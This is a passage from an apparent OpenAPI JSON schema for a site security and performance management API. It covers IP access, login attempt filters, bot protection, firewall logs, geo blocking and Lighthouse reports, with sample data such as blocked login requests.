"type": "object", "required": [ "delete", "meta" ], "description": "Response envelope returned after IP addresses are removed from IP Access.", "properties": { "delete": { "$ref": "#/components/schemas/SiteSecurityFirewallIpAccessBulkResult" }, "meta": { "$ref": "#/components/schemas/SiteSecurityFirewallIpAccessBulkMeta" } }, "example": { "delete": { "ips": [ "203.0.113.10" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "SiteSecurityLoginProtectionAttemptFilters": { "type": "object", "required": [], "description": "Filters applied to login protection attempts and stats.", "properties": { "timestamp:gte": { "type": "string", "format": "date-time", "description": "Include attempts recorded on or after this time.", "example": "2026-05-01T00:00:00Z" }, "timestamp:lte": { "type": "string", "format": "date-time", "description": "Include attempts recorded on or before this time.", "example": "2026-05-25T00:00:00Z" }, "status:eq": { "type": "string", "description": "Match attempts with one supported outcome value.", "example": "failed" }, "status:not_eq": { "type": "string", "description": "Exclude attempts with one supported outcome value.", "example": "succeeded" }, "status:in": { "type": "array", "items": { "type": "string" }, "description": "Match attempts with any of these supported outcome values.", "example": [ "failed", "blocked" ] }, "status:not_in": { "type": "array", "items": { "type": "string" }, "description": "Exclude attempts with any of these supported outcome values.", "example": [ "succeeded" ] }, "ip_address:eq": { "type": "string", "description": "Match attempts from exactly this source IP address.", "example": "203.0.113.10" }, "ip_address:not_eq": { "type": "string", "description": "Exclude attempts from exactly this source IP address.", "example": "203.0.113.10" }, "ip_address:contains": { "type": "string", "description": "Match attempts where the source IP address contains this value.", "example": "203.0.113" }, "ip_address:start": { "type": "string", "description": "Match attempts where the source IP address starts with this value.", "example": "203.0.113" }, "ip_address:end": { "type": "string", "description": "Match attempts where the source IP address ends with this value.", "example": ".10" }, "ip_address:in": { "type": "array", "items": { "type": "string" }, "description": "Match attempts from any of these source IP addresses.", "example": [ "203.0.113.10", "198.51.100.8" ] }, "ip_address:not_in": { "type": "array", "items": { "type": "string" }, "description": "Exclude attempts from any of these source IP addresses.", "example": [ "203.0.113.10" ] }, "username:eq": { "type": "string", "description": "Match attempts for exactly this submitted user name.", "example": "admin" }, "username:not_eq": { "type": "string", "description": "Exclude attempts for exactly this submitted user name.", "example": "admin" }, "username:contains": { "type": "string", "description": "Match attempts where the submitted user name contains this value.", "example": "adm" }, "username:start": { "type": "string", "description": "Match attempts where the submitted user name starts with this value.", "example": "adm" }, "username:end": { "type": "string", "description": "Match attempts where the submitted user name ends with this value.", "example": "min" }, "username:in": { "type": "array", "items": { "type": "string" }, "description": "Match attempts for any of these submitted user names.", "example": [ "admin", "editor" ] }, "username:not_in": { "type": "array", "items": { "type": "string" }, "description": "Exclude attempts for any of these submitted user names.", "example": [ "test" ] } }, "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z", "status:eq": "failed", "ip_address:contains": "203.0.113" } }, "ListSiteSecurityLoginProtectionAttemptsSort": { "type": "string", "default": "timestamp,desc", "description": "Sort order for returned login protection attempts.", "example": "timestamp,desc" }, "ListSiteSecurityLoginProtectionAttemptsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing login protection attempts.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSecurityLoginProtectionAttemptFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSecurityLoginProtectionAttemptsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of attempts per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "timestamp:gte": "2026-05-01T00:00:00Z", "status:eq": "failed" }, "sort": "timestamp,desc", "page": 1, "perPage": 100 } }, "ListSiteSecurityLoginProtectionAttemptsResponse": { "type": "object", "required": [ "attempts", "meta" ], "description": "Response envelope returned with a paginated list of login protection attempts.", "properties": { "attempts": { "type": "array", "items": { "type": "object", "required": [ "id", "timestamp", "username", "ip_address", "country_code", "status", "category" ], "description": "One login attempt for a site.", "properties": { "id": { "type": "string", "description": "Request ID for this login attempt.", "example": "7f9c2a41b6d84e13a0c9f572" }, "timestamp": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time for the login attempt, or `null` when no time is available.", "example": "2026-05-25T08:00:00Z" }, "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "User name submitted during the login attempt, or `null` when no user name is available.", "example": "admin" }, "ip_address": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Source IP address for the login attempt, or `null` when no IP address is available.", "example": "203.0.113.10" }, "country_code": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Country code resolved from the source IP address, or `null` when unavailable.", "example": "US" }, "status": { "type": "string", "enum": [ "succeeded", "failed", "blocked" ], "description": "Public outcome of the login attempt.", "example": "failed" }, "category": { "type": "string", "enum": [ "normal", "blacklisted", "bypassed", "allowed", "captcha_block", "temp_block", "all_blocked", "unblocked", "private_ip" ], "description": "Public category label for the login protection decision.", "example": "allowed" } }, "example": { "id": "7f9c2a41b6d84e13a0c9f572", "timestamp": "2026-05-25T08:00:00Z", "username": "admin", "ip_address": "203.0.113.10", "country_code": "US", "status": "failed", "category": "allowed" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "attempts": [ { "id": "7f9c2a41b6d84e13a0c9f572", "timestamp": "2026-05-25T08:00:00Z", "username": "admin", "ip_address": "203.0.113.10", "country_code": "US", "status": "failed", "category": "allowed" }, { "id": "8d2f4b63e1a74c0d95b6f3a8", "timestamp": "2026-05-25T08:05:00Z", "username": "editor", "ip_address": "198.51.100.8", "country_code": "GB", "status": "blocked", "category": "captcha_block" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSiteSecurityLoginProtectionAttemptStatsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for retrieving login protection attempt stats.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSecurityLoginProtectionAttemptFilters" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z", "status:eq": "blocked" } } }, "ShowSiteSecurityLoginProtectionAttemptStatsResponse": { "type": "object", "required": [ "stats" ], "description": "Response envelope returned with login protection attempt stats.", "properties": { "stats": { "type": "object", "required": [ "attempts" ], "properties": { "attempts": { "type": "object", "required": [ "total", "succeeded", "failed", "blocked", "trends" ], "description": "Login attempt counts for the selected time range.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total login attempts in the selected time range.", "example": 100 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Login attempts that succeeded in the selected time range.", "example": 20 }, "failed": { "type": "integer", "minimum": 0, "description": "Failed login attempts in the selected time range.", "example": 70 }, "blocked": { "type": "integer", "minimum": 0, "description": "Blocked login attempts in the selected time range.", "example": 10 }, "trends": { "type": "array", "description": "Login attempt counts grouped by time bucket. Bucket size depends on the selected time range.", "items": { "type": "object", "required": [ "timestamp", "total", "succeeded", "failed", "blocked" ], "description": "Login attempt counts for one time bucket.", "properties": { "timestamp": { "type": "string", "format": "date-time", "description": "Start time for the bucket.", "example": "2026-05-25T08:00:00Z" }, "total": { "type": "integer", "minimum": 0, "description": "Total login attempts in this bucket.", "example": 17 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Login attempts that succeeded in this bucket.", "example": 5 }, "failed": { "type": "integer", "minimum": 0, "description": "Failed login attempts in this bucket.", "example": 10 }, "blocked": { "type": "integer", "minimum": 0, "description": "Blocked login attempts in this bucket.", "example": 2 } }, "example": { "timestamp": "2026-05-25T08:00:00Z", "total": 17, "succeeded": 5, "failed": 10, "blocked": 2 } } } }, "example": { "total": 100, "succeeded": 20, "failed": 70, "blocked": 10, "trends": [ { "timestamp": "2026-05-25T08:00:00Z", "total": 17, "succeeded": 5, "failed": 10, "blocked": 2 } ] } } } } }, "example": { "stats": { "attempts": { "total": 100, "succeeded": 20, "failed": 70, "blocked": 10, "trends": [ { "timestamp": "2026-05-25T08:00:00Z", "total": 17, "succeeded": 5, "failed": 10, "blocked": 2 } ] } } } }, "SiteSecurityFirewallBotProtectionStatus": { "type": "object", "required": [ "enabled" ], "description": "Bot protection state for a site.", "properties": { "enabled": { "type": "boolean", "description": "Whether bot protection is enabled for the site.", "example": true } }, "example": { "enabled": true } }, "SiteSecurityFirewallBotStatsItem": { "type": "object", "required": [ "name", "requests" ], "description": "Request count for one detected bot.", "properties": { "name": { "type": "string", "description": "Bot name.", "example": "Googlebot" }, "requests": { "type": "integer", "minimum": 0, "description": "Number of requests from this bot in the selected time range.", "example": 50 } }, "example": { "name": "Googlebot", "requests": 50 } }, "EnableSiteSecurityFirewallBotProtectionRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for enabling bot protection on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "EnableSiteSecurityFirewallBotProtectionResponse": { "type": "object", "required": [ "bot_protection" ], "description": "Response envelope returned after bot protection is enabled.", "properties": { "bot_protection": { "$ref": "#/components/schemas/SiteSecurityFirewallBotProtectionStatus" } }, "example": { "bot_protection": { "enabled": true } } }, "DisableSiteSecurityFirewallBotProtectionRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for disabling bot protection on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "DisableSiteSecurityFirewallBotProtectionResponse": { "type": "object", "required": [ "bot_protection" ], "description": "Response envelope returned after bot protection is disabled.", "properties": { "bot_protection": { "$ref": "#/components/schemas/SiteSecurityFirewallBotProtectionStatus" } }, "example": { "bot_protection": { "enabled": false } } }, "ShowSiteSecurityFirewallBotProtectionStatsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for retrieving bot protection stats.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/ShowSiteSecurityFirewallBotProtectionStatsFilters" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z" } } }, "ShowSiteSecurityFirewallBotProtectionStatsFilters": { "type": "object", "required": [], "additionalProperties": false, "description": "Filters applied to bot protection stats.", "properties": { "timestamp:gte": { "type": "string", "format": "date-time", "description": "Include stats on or after this timestamp.", "example": "2026-05-01T00:00:00Z" }, "timestamp:lte": { "type": "string", "format": "date-time", "description": "Include stats on or before this timestamp.", "example": "2026-05-25T00:00:00Z" } }, "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z" } }, "ShowSiteSecurityFirewallBotProtectionStatsResponse": { "type": "object", "required": [ "stats" ], "description": "Response envelope returned with bot protection traffic stats.", "properties": { "stats": { "type": "object", "required": [ "bots" ], "properties": { "bots": { "type": "object", "required": [ "total", "blocked", "good", "bad" ], "description": "Bot traffic summary for a site.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total number of detected bots in the selected time range.", "example": 2 }, "blocked": { "type": "integer", "minimum": 0, "description": "Number of detected bots with blocked requests in the selected time range.", "example": 1 }, "good": { "type": "array", "description": "Allowed or recognized bots with their request counts.", "items": { "$ref": "#/components/schemas/SiteSecurityFirewallBotStatsItem" } }, "bad": { "type": "array", "description": "Blocked or unwanted bots with their request counts.", "items": { "$ref": "#/components/schemas/SiteSecurityFirewallBotStatsItem" } } }, "example": { "total": 2, "blocked": 1, "good": [ { "name": "Googlebot", "requests": 50 } ], "bad": [ { "name": "BadBot", "requests": 10 } ] } } } } }, "example": { "stats": { "bots": { "total": 2, "blocked": 1, "good": [ { "name": "Googlebot", "requests": 50 } ], "bad": [ { "name": "BadBot", "requests": 10 } ] } } } }, "SiteSecurityFirewallLogFilters": { "type": "object", "required": [], "description": "Filters applied to firewall logs and stats.", "properties": { "timestamp:gte": { "type": "string", "format": "date-time", "description": "Include requests on or after this time.", "example": "2026-05-01T00:00:00Z" }, "timestamp:lte": { "type": "string", "format": "date-time", "description": "Include requests on or before this time.", "example": "2026-05-31T23:59:59Z" }, "ip_address:contains": { "type": "string", "description": "Match requests whose source IP contains this value.", "example": "203.0.113" }, "status:eq": { "type": "string", "description": "Match requests with this firewall decision. Supported values for matching include `allowed`, `blocked`, and `bypassed`.", "example": "blocked" }, "method:eq": { "type": "string", "description": "Match requests with this HTTP method.", "example": "GET" }, "response_code:eq": { "type": "string", "description": "Match requests with this response code.", "example": "403" }, "path:contains": { "type": "string", "description": "Match requests whose path contains this value.", "example": "wp-login" }, "user_agent:contains": { "type": "string", "description": "Match requests whose user agent contains this value.", "example": "curl" } }, "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-31T23:59:59Z", "status:eq": "blocked" } }, "ListSiteSecurityFirewallLogsSort": { "type": "string", "default": "timestamp,desc", "description": "Sort order for returned firewall logs.", "example": "timestamp,desc" }, "ListSiteSecurityFirewallLogsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing firewall request logs.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSecurityFirewallLogFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSecurityFirewallLogsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of logs per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "timestamp:gte": "2026-05-01T00:00:00Z", "status:eq": "blocked" }, "sort": "timestamp,desc", "page": 1, "perPage": 100 } }, "ListSiteSecurityFirewallLogsResponse": { "type": "object", "required": [ "logs", "meta" ], "description": "Response envelope returned with a paginated list of firewall request logs.", "properties": { "logs": { "type": "array", "items": { "type": "object", "required": [ "id", "timestamp", "ip_address", "country_code", "method", "path", "user_agent", "response_code", "status", "reason", "category" ], "description": "One firewall request log entry.", "properties": { "id": { "type": "string", "description": "Request ID.", "example": "7f9c2a41b6d84e13a0c9f572" }, "timestamp": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the request was logged, when available.", "example": "2026-05-25T08:00:00Z" }, "ip_address": { "type": "string", "description": "Source IP address for the request.", "example": "203.0.113.10" }, "country_code": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Source country code, when available.", "example": "US" }, "method": { "type": "string", "description": "HTTP method used for the request.", "example": "GET" }, "path": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Requested path.", "example": "/wp-login.php" }, "user_agent": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "User agent sent with the request.", "example": "curl/8.0" }, "response_code": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "description": "HTTP response status code returned for the request.", "example": 403 }, "status": { "type": "string", "enum": [ "allowed", "blocked", "bypassed" ], "description": "Firewall decision for the request.", "example": "blocked" }, "reason": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Reason the request was blocked, when available.", "example": "SQL Injection Attack" }, "category": { "type": "string", "description": "Firewall category label for the request.", "example": "rule_blocked" } }, "example": { "id": "7f9c2a41b6d84e13a0c9f572", "timestamp": "2026-05-25T08:00:00Z", "ip_address": "203.0.113.10", "country_code": "US", "method": "GET", "path": "/wp-login.php", "user_agent": "curl/8.0", "response_code": 403, "status": "blocked", "reason": "SQL Injection Attack", "category": "rule_blocked" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "logs": [ { "id": "7f9c2a41b6d84e13a0c9f572", "timestamp": "2026-05-25T08:00:00Z", "ip_address": "203.0.113.10", "country_code": "US", "method": "GET", "path": "/wp-login.php", "user_agent": "curl/8.0", "response_code": 403, "status": "blocked", "reason": "SQL Injection Attack", "category": "rule_blocked" }, { "id": "8d2f4b63e1a74c0d95b6f3a8", "timestamp": "2026-05-25T08:03:12Z", "ip_address": "198.51.100.24", "country_code": "GB", "method": "POST", "path": "/xmlrpc.php", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "response_code": 403, "status": "blocked", "reason": "XMLRPC Attack Bot", "category": "bot_blocked" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSiteSecurityFirewallLogStatsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for retrieving firewall request stats.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSecurityFirewallLogFilters" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-31T23:59:59Z" } } }, "ShowSiteSecurityFirewallLogStatsResponse": { "type": "object", "required": [ "stats" ], "description": "Response envelope returned with firewall request stats.", "properties": { "stats": { "type": "object", "required": [ "requests" ], "properties": { "requests": { "type": "object", "required": [ "total", "allowed", "blocked", "trends" ], "description": "Firewall request counts for the selected time range.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total firewall requests in the selected time range.", "example": 100 }, "allowed": { "type": "integer", "minimum": 0, "description": "Allowed firewall requests in the selected time range.", "example": 80 }, "blocked": { "type": "integer", "minimum": 0, "description": "Blocked firewall requests in the selected time range.", "example": 20 }, "trends": { "type": "array", "description": "Request counts grouped by time bucket.", "items": { "type": "object", "required": [ "timestamp", "total", "allowed", "blocked" ], "description": "Firewall request counts for one time bucket.", "properties": { "timestamp": { "type": "string", "format": "date-time", "description": "Start time for the bucket.", "example": "2026-05-25T06:00:00Z" }, "total": { "type": "integer", "minimum": 0, "description": "Total requests in this bucket.", "example": 50 }, "allowed": { "type": "integer", "minimum": 0, "description": "Allowed requests in this bucket.", "example": 40 }, "blocked": { "type": "integer", "minimum": 0, "description": "Blocked requests in this bucket.", "example": 10 } }, "example": { "timestamp": "2026-05-25T06:00:00Z", "total": 50, "allowed": 40, "blocked": 10 } } } }, "example": { "total": 100, "allowed": 80, "blocked": 20, "trends": [ { "timestamp": "2026-05-25T06:00:00Z", "total": 50, "allowed": 40, "blocked": 10 } ] } } } } }, "example": { "stats": { "requests": { "total": 100, "allowed": 80, "blocked": 20, "trends": [ { "timestamp": "2026-05-25T06:00:00Z", "total": 50, "allowed": 40, "blocked": 10 } ] } } } }, "GetSiteSecurityFirewallGeoBlockingRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for retrieving Geo Blocking settings on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "GetSiteSecurityFirewallGeoBlockingResponse": { "type": "object", "required": [ "geo_blocking" ], "description": "Response envelope returned with the selected site's Geo Blocking configuration.", "properties": { "geo_blocking": { "type": "object", "required": [ "country_codes" ], "description": "Geo Blocking settings for the selected site.", "properties": { "country_codes": { "type": "array", "description": "Supported country codes currently blocked for the site.", "items": { "type": "string", "pattern": "^[A-Z]{2}$" }, "example": [ "US", "GB" ] } } } }, "example": { "geo_blocking": { "country_codes": [ "US", "GB" ] } } }, "BlockSiteSecurityFirewallGeoBlockingRequest": { "type": "object", "required": [ "country_codes" ], "description": "Country codes to block for the selected site.", "properties": { "country_codes": { "type": "array", "minItems": 1, "description": "Supported country codes to block. Lowercase and duplicate values are accepted and normalized before processing.", "items": { "type": "string", "pattern": "^[A-Za-z]{2}$" }, "example": [ "us", "GB" ] } }, "example": { "country_codes": [ "us", "GB" ] } }, "BlockSiteSecurityFirewallGeoBlockingResponse": { "type": "object", "required": [ "block", "meta" ], "description": "Bulk action response returned after country codes are submitted for blocking.", "properties": { "block": { "type": "object", "required": [ "country_codes", "errors" ], "properties": { "country_codes": { "type": "array", "description": "Country codes accepted for blocking.", "items": { "type": "string", "pattern": "^[A-Z]{2}$" }, "example": [ "US", "GB" ] }, "errors": { "type": "array", "description": "Per-country errors for country codes that failed processing.", "items": { "type": "object" }, "example": [] } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "properties": { "requested": { "type": "integer", "description": "Number of unique submitted country codes.", "example": 2 }, "succeeded": { "type": "integer", "description": "Number of country codes accepted for blocking.", "example": 2 }, "failed": { "type": "integer", "description": "Number of country codes that failed item-level processing.", "example": 0 } } } }, "example": { "block": { "country_codes": [ "US", "GB" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "UnblockSiteSecurityFirewallGeoBlockingRequest": { "type": "object", "required": [ "country_codes" ], "description": "Country codes to unblock for the selected site.", "properties": { "country_codes": { "type": "array", "minItems": 1, "description": "Supported country codes to unblock. Lowercase and duplicate values are accepted and normalized before processing.", "items": { "type": "string", "pattern": "^[A-Za-z]{2}$" }, "example": [ "US" ] } }, "example": { "country_codes": [ "US" ] } }, "UnblockSiteSecurityFirewallGeoBlockingResponse": { "type": "object", "required": [ "unblock", "meta" ], "description": "Bulk action response returned after country codes are submitted for unblocking.", "properties": { "unblock": { "type": "object", "required": [ "country_codes", "errors" ], "properties": { "country_codes": { "type": "array", "description": "Country codes accepted for unblocking.", "items": { "type": "string", "pattern": "^[A-Z]{2}$" }, "example": [ "US" ] }, "errors": { "type": "array", "description": "Per-country errors for country codes that failed processing.", "items": { "type": "object" }, "example": [] } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "properties": { "requested": { "type": "integer", "description": "Number of unique submitted country codes.", "example": 1 }, "succeeded": { "type": "integer", "description": "Number of country codes accepted for unblocking.", "example": 1 }, "failed": { "type": "integer", "description": "Number of country codes that failed item-level processing.", "example": 0 } } } }, "example": { "unblock": { "country_codes": [ "US" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "SitePerformance": { "type": "object", "required": [ "enabled" ], "description": "Performance optimization state for a site.", "properties": { "enabled": { "type": "boolean", "description": "Whether performance optimization is enabled for the site.", "example": false } }, "example": { "enabled": false } }, "EnableSitePerformanceRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for enabling performance optimization on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "EnableSitePerformanceResponse": { "type": "object", "required": [ "performance" ], "description": "Response envelope returned after performance optimization is enabled.", "properties": { "performance": { "$ref": "#/components/schemas/SitePerformance" } }, "example": { "performance": { "enabled": true } } }, "DisableSitePerformanceRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for disabling performance optimization on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "DisableSitePerformanceResponse": { "type": "object", "required": [ "performance" ], "description": "Response envelope returned after performance optimization is disabled.", "properties": { "performance": { "$ref": "#/components/schemas/SitePerformance" } }, "example": { "performance": { "enabled": false } } }, "ListSitesPerformanceReportsSort": { "type": "string", "default": "id,desc", "description": "Sort order for returned performance report sites.", "example": "id,desc" }, "ListSitesPerformanceReportsRequest": { "type": "object", "required": [], "description": "Query parameters for listing performance report sites available to you.", "properties": { "site_ids": { "type": "array", "minItems": 1, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "items": { "$ref": "#/components/schemas/SiteId" } }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of site entries per page.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListSitesPerformanceReportsSort" } }, "example": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "page": 1, "perPage": 100, "sort": "id,desc" } }, "ListSitesPerformanceReportsResponse": { "type": "object", "required": [ "sites", "meta" ], "properties": { "sites": { "type": "array", "description": "Accessible sites in the requested page.", "items": { "type": "object", "required": [ "id", "last_sync_at", "performance" ], "properties": { "id": { "allOf": [ { "$ref": "#/components/schemas/SiteId" } ], "description": "Site ID returned in site lists and details.", "example": "9bf3c2e7a1b24c6d8e9f0123456789ab" }, "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Last site sync timestamp when available.", "example": "2026-01-12T08:20:00Z" }, "performance": { "type": "object", "required": [ "reports" ], "properties": { "reports": { "type": "array", "description": "Latest available report for the site, or an empty array when unavailable.", "items": { "type": "object", "required": [ "url", "device", "lighthouse_version", "created_at", "score", "metrics", "audits" ], "properties": { "url": { "type": "string", "format": "uri", "description": "Site URL that Lighthouse audited.", "example": "https://example.com" }, "device": { "type": "string", "description": "Device form factor used for the audit.", "enum": [ "mobile", "desktop" ], "example": "mobile" }, "lighthouse_version": { "type": "string", "description": "Lighthouse version that produced the report.", "example": "10.4.0" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the performance report was created.", "example": "2026-01-12T08:18:30Z" }, "score": { "oneOf": [ { "type": "integer", "minimum": 0, "maximum": 100 }, { "type": "null" } ], "description": "Performance score as an integer percentage.", "example": 92 }, "metrics": { "$ref": "#/components/schemas/PerformanceMetrics" }, "audits": { "type": "object", "required": [ "diagnostics", "passed", "not_applicable" ], "properties": { "diagnostics": { "type": "array", "description": "Lighthouse diagnostic audit titles.", "items": { "type": "string" }, "example": [ "Avoid enormous network payloads" ] }, "passed": { "type": "array", "description": "Lighthouse audit titles that passed.", "items": { "type": "string" }, "example": [ "Uses passive listeners to improve scrolling performance" ] }, "not_applicable": { "type": "array", "description": "Lighthouse audit titles that do not apply to the page.", "items": { "type": "string" }, "example": [] } }, "example": { "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [] } } }, "example": { "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 92, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [] } } } } } } }, "example": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "last_sync_at": "2026-01-12T08:20:00Z", "performance": { "reports": [ { "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 92, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [] } } ] } } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "last_sync_at": "2026-01-12T08:20:00Z", "performance": { "reports": [ { "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 92, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [] } } ] } }, { "id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604", "last_sync_at": "2026-01-11T10:15:00Z", "performance": { "reports": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSitePerformanceReportResponse": { "type": "object", "required": [ "performance" ], "properties": { "performance": { "type": "object", "required": [ 